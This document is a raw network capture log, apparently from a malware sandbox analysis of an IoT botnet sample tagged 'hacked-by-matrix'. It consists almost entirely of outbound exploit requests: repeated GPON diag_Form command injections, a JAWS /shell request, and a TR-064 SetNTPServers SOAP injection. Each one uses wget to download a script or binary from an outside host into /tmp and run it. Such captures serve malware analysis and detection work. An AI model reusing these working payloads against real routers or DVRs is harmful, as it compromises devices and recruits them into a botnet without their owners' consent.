Mar 21, 2024 05:22:59.656764984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.13	49598	42.225.205.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656764984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.13	47726	212.151.12.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656775951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.13	34726	5.163.178.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656806946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.13	37530	5.228.112.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656836033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.13	51076	118.100.238.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656837940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.13	54362	109.251.13.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656848907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.13	38128	42.52.232.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656919003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.13	41998	5.4.207.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656920910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.13	44878	42.209.187.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656930923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.13	55308	118.15.165.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656981945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.13	57220	212.205.204.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.656994104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.13	42586	5.116.237.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.657007933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.13	51330	118.202.255.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.657021046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.13	52904	42.2.17.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.657040119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.13	58538	42.76.12.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.657042027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.13	58088	42.133.112.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.657093048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.13	33474	212.227.187.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.657099009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.13	33616	212.207.148.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.657118082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.13	35910	212.216.234.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.657136917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.13	49896	65.8.233.115	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.696065903 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:00.401329994 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:01.196228027 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:01.327524900 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.13	47284	104.128.126.181	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.726301908 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:03.852247000 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:09.996239901 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
